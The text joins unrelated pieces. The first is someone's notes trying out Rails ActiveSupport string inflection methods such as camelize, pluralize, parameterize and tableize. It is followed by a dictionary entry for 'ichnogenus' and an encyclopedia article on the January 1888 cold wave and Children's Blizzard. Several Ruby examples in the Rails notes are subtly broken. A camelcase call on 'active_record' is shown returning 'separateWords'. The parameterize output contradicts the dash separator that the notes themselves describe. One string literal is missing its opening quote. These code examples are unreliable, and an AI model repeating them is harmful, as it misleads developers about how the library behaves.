This is my experimentation with the string manipulation methods used [largely internally] in Rails. This is largely a repeat of the documentation here, but I did dig into pluralize/singularize and a couple of other examples more in depth. Look at [path to active_support gem version]/lib/active_support/inflections.rb for the full list of plural, singular, irregular, and uncountable regular expressions and words.
require 'active_support/core_ext/string/inflections'
# camelcase, camelize
"separate_words".camelize # SeparateWords
"active_record".camelcase(:lower) # separateWords
# classify - converts to first upper CamelCase, last word made singular
"this_and_thats".classify # ThisAndThat
# constantize - looks for declared constant with the name specified
"Integer".constantize # returns constant [class] Integer
"integer".constantize # results in NameError: wrong constant name integer
"Boo".constantize # results in NameError: uninitialized constnat Boo (assuming it isn't declared)
# dasherize - underscores to dashes
"a_b_c".dasherize # a-b-c
# demodulize - removes module namespace from module in string.
ModuleA::SubModule::Module".demodulize # Module
# foreign_key - create name of a foreign key to class name, optional parameter to separate class from id
"Integer".foreign_key # integer_id
"Integer".foreign_key(false) # integerid
# humanize - capitalizes first word, down cases rest, turns underscores into space.
"McLean".humanize # Mclean
"Apple_Banana".humanize # Apple banana
# parameterize - replaces special characters in a string, default separator is '-'
# - whitespace is a special character here, underscore is not
# - consecutive special characters become a single separator
# - converts to lowercase
"Apple@!Banana".parameterize # "apple banana"
# pluralize
"raman".pluralize # "ramen" -- apparently, "man" --> "men" even on a made-up word
"jazz".pluralize # "jazzs"
"box".pluralize # "boxes"
"beep".pluralize # "beeps"
"moose".pluralize # "mooses"
"rhombus".pluralize # "rhombuses"
"octopus".pluralize # "octopi"
# singularize
"ramen".singularize # "raman"
"jazzes".singularize # "jazze"
"boxen".singularize # "boxen" -- yeah, not a real word again
# tableize - snake_case string and pluralize last word
"RedHeadedStepchild".tableize # "red_headed_stepchildren"
# titlecase / titleize - capitalize all words,
"two_three-four.five:six".titleize # "Two Three Four.Five:Six"
# underscore - snake_case words (opposite of CamelCase) and covert :: to /
"Number::OneTwo::Integer".underscore # "number/one_two/integer"
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ESSENTIALAI-STEM
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ichnogenus
Noun
* 1) Any genus known only from trace fossils, such as footprints, coprolites or nests.
Related terms
* ichnogenetic
* ichnogenetic
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WIKI
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1888 Northwest United States cold wave
In mid-January 1888, a severe cold wave passed through the northern regions of the Rocky Mountains and Great Plains of the United States, then considered to be the northwestern region of the nation. It led to a blizzard for the northern Plains and upper Mississippi valley where many children were trapped in schoolhouses where they froze to death. This tragedy became known as the Schoolhouse Blizzard, Schoolchildren's Blizzard, or The Children's Blizzard. This cold snap and blizzard were part of a month when temperatures averaged below normal by 6 to 12 F-change across much of the northern and western United States.
Synoptic overview
The cold wave was initiated by a storm system which dropped southward from Canada on January 11 into Colorado on January 12 and onward into the Great Lakes on January 13. The subsequent cold wave extended all the way into the citrus growing areas of southern California. The cyclone led to a blizzard across Nebraska, North Dakota, and Minnesota. Since there had recently been a warm spell, many people were caught off guard by the cold and snow. Hundreds of adults and children alike fell victim, while thousands of cattle died during the event.
Severity of the event
Record low temperatures were set, including −65 °F at Fort Keogh (near Miles City, Montana) on January 14. At the time, it was the lowest temperature ever recorded in the continental United States. It was not until 1933 that a lower temperature was read in the lower 48 states (−66 °F in West Yellowstone, Montana).
Other notable records set during this cold wave are −41 °F in St. Paul, Minnesota, −30 °F in Spokane, Washington, −28 °F in Boise, Idaho, −2 °F in downtown Portland, Oregon, 1 °F in Newport, Oregon, and 20 °F in Eureka, California. All of these readings still stand as the record low for each location. Further, high temperatures of −10 °F in Spokane and 9 °F in Portland still stand as the coldest maximum temperatures ever recorded.
In Denver, while not record setting, temperatures fell to −18 °F while winds peaked at 60 mph. In California on January 14, temperatures fell to 20 °F in Eureka and 29 °F in San Francisco.
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WIKI
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